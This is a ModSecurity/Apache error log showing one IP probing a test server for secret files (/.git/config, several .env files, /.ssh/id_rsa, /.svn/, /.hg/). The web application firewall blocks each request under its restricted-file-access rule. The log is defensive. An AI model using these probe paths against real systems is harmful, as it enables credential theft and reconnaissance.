[Mon Jul 28 20:46:00.446787 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp1wAAAAI&quot;]
[Mon Jul 28 20:46:00.446978 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp1wAAAAI&quot;]
[Mon Jul 28 20:46:00.469337 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp2AAAAAI&quot;]
[Mon Jul 28 20:46:00.469609 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp2AAAAAI&quot;]
[Mon Jul 28 20:46:00.469812 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp2AAAAAI&quot;]
[Mon Jul 28 20:46:00.492175 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.github/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp2QAAAAI&quot;]
[Mon Jul 28 20:46:00.492448 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp2QAAAAI&quot;]
[Mon Jul 28 20:46:00.492644 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.github/.env&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp2QAAAAI&quot;]
[Mon Jul 28 20:46:00.538629 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp2wAAAAI&quot;]
[Mon Jul 28 20:46:00.538892 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp2wAAAAI&quot;]
[Mon Jul 28 20:46:00.539087 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitignore&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp2wAAAAI&quot;]
[Mon Jul 28 20:46:00.561402 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.gitlab-ci.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp3AAAAAI&quot;]
[Mon Jul 28 20:46:00.561626 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp3AAAAAI&quot;]
[Mon Jul 28 20:46:00.561803 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci.yml&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp3AAAAAI&quot;]
[Mon Jul 28 20:46:00.584191 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.gitlab-ci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp3QAAAAI&quot;]
[Mon Jul 28 20:46:00.584428 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp3QAAAAI&quot;]
[Mon Jul 28 20:46:00.584628 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab-ci/.env&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp3QAAAAI&quot;]
[Mon Jul 28 20:46:00.608639 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.gitlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp3gAAAAI&quot;]
[Mon Jul 28 20:46:00.608876 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp3gAAAAI&quot;]
[Mon Jul 28 20:46:00.609068 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.gitlab/.env&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp3gAAAAI&quot;]
[Mon Jul 28 20:46:00.631480 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.hg/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp3wAAAAI&quot;]
[Mon Jul 28 20:46:00.631716 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp3wAAAAI&quot;]
[Mon Jul 28 20:46:00.631944 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp3wAAAAI&quot;]
[Mon Jul 28 20:46:00.654523 2025] [authz_core:error] [pid 1533943] [client 185.177.72.201:35970] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess
[Mon Jul 28 20:46:00.677122 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp4QAAAAI&quot;]
[Mon Jul 28 20:46:00.677360 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp4QAAAAI&quot;]
[Mon Jul 28 20:46:00.677558 2025] [:error] [pid 1533943] [client 185.177.72.201:35970] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aIfFaDtW59P3rmsxDxVp4QAAAAI&quot;]
[Mon Jul 28 20:46:01.132504 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mqgAAAA4&quot;]
[Mon Jul 28 20:46:01.132768 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mqgAAAA4&quot;]
[Mon Jul 28 20:46:01.132971 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mqgAAAA4&quot;]
[Mon Jul 28 20:46:01.161914 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;.ssh/id_rsa&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .ssh/id_rsa found within REQUEST_FILENAME: /.ssh/id_rsa.pub&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mqwAAAA4&quot;]
[Mon Jul 28 20:46:01.162152 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mqwAAAA4&quot;]
[Mon Jul 28 20:46:01.162371 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.ssh/id_rsa.pub&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mqwAAAA4&quot;]
[Mon Jul 28 20:46:01.192198 2025] [:error] [pid 1519683] [client 185.177.72.201:42742] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.svn/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/&quot;] [unique_id &quot;aIfFac9E66I2YPyIb96mrAAAAA4&quot;]
